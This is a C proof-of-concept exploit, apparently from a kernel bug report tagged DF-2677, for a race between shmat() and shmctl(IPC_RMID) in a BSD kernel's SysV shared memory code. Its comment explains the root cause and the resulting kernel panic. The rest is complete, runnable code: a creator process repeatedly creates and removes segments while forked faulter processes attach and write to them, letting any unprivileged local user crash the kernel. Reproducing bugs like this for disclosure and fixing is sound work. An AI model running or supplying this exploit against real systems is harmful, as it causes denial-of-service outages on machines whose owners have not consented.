/*
 * DF-2677 proof-of-concept: SysV shmat() vs IPC_RMID TOCTOU in
 * sys/kern/sysv_shm.c -> object ref leak -> vm_object_terminate2 panic
 * (kernel panic / unprivileged local DoS).
 *
 * Root cause: sys_shmat() holds shm_token, then blocks in
 * vm_object_hold(shm_object) (LWKT tokens are dropped while blocked).
 * While blocked, sys_shmctl(IPC_RMID) on another CPU holds shm_token,
 * sees shm_nattch == 0 (shmat increments nattch only at the very END,
 * sysv_shm.c), and calls shm_deallocate_segment() -> vm_object_deallocate()
 * -> vm_object_terminate().  shmat resumes, does vm_object_reference_locked()
 * on the OBJ_DEAD object and maps it; terminate wakes up, sees
 * ref_count == 1 and panics:
 *
 *	panic: vm_object_terminate2: object with references, ref_count=1
 *
 * The blocking window in shmat is widened by contention on the object's
 * token (faulters hammering the segment).  With kern.ipc.shm_use_phys >= 2
 * the kernel's own pre-allocation loop widens the window massively; with
 * the default (=1) enough faulting threads still open it.
 *
 * Trigger: unprivileged local users (creator + faulter processes).
 * No root setup needed for the default-config variant.
 *
 * Build:  cc -O2 -Wall -o shm_rmid_race shm_rmid_race.c
 * Run:    ./shm_rmid_race [iters=20000]
 */
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/signal.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define TOKFILE	"/tmp/.df2677_tok"
#define SEGSZ	(8UL * 1024 * 1024)
#define NFAULT	8

static int iters = 20000;
static int nfault = NFAULT;
static volatile sig_atomic_t stop;

static key_t
makekey(int i)
{
	return ftok(TOKFILE, 33 + (i % 220));
}

/*
 * Creator: create segment, let faulters attach/race, RMID it while the
 * faulters are still swarming (this is the v1 pattern that panicked).
 */
static void
creator(void)
{
	int i, shmid, old;

	for (i = 0; i < iters && !stop; i++) {
		key_t key = makekey(i);

		shmid = shmget(key, SEGSZ, IPC_CREAT | IPC_EXCL | 0666);
		if (shmid < 0) {
			if (errno == EEXIST) {
				old = shmget(key, 0, 0);
				if (old >= 0)
					shmctl(old, IPC_RMID, NULL);
			}
			usleep(100);
			continue;
		}
		/* faulters swarm the segment while it is live; then RMID
		 * races their in-flight shmat() */
		usleep(1500);
		shmctl(shmid, IPC_RMID, NULL);
	}
}

static void
faulter(int seed)
{
	int i, pass, shmid, tries;
	char *p;
	unsigned long off;

	for (i = 0; i < iters && !stop; i++) {
		key_t key = makekey(i);

		shmid = -1;
		for (tries = 0; tries < 3000; tries++) {
			shmid = shmget(key, 0, 0);
			if (shmid >= 0)
				break;
			usleep(30);
		}
		if (shmid < 0)
			continue;

		for (pass = 0; pass < 2 && !stop; pass++) {
			p = shmat(shmid, NULL, 0);
			if (p == (void *)-1)
				break;
			for (off = ((unsigned long)seed * 4096) % SEGSZ;
			     off < SEGSZ; off += 4096)
				p[off] = (char)1;
			shmdt(p);
		}
	}
}

int
main(int argc, char **argv)
{
	int i;
	pid_t pid;
	FILE *f;

	if (argc > 1)
		iters = atoi(argv[1]);
	if (argc > 2)
		nfault = atoi(argv[2]);

	f = fopen(TOKFILE, "w");
	if (f) {
		fclose(f);
		chmod(TOKFILE, 0666);
	}
	setvbuf(stdout, NULL, _IONBF, 0);
	printf("DF-2677: racing shmat() vs IPC_RMID (default config)\n");

	for (i = 0; i < nfault; i++) {
		pid = fork();
		if (pid == 0) {
			faulter(i + 1);
			_exit(0);
		}
	}
	creator();
	stop = 1;
	usleep(50000);
	while (waitpid(-1, NULL, WNOHANG) > 0)
		;
	printf("DF-2677: round complete, no panic\n");
	return 0;
}
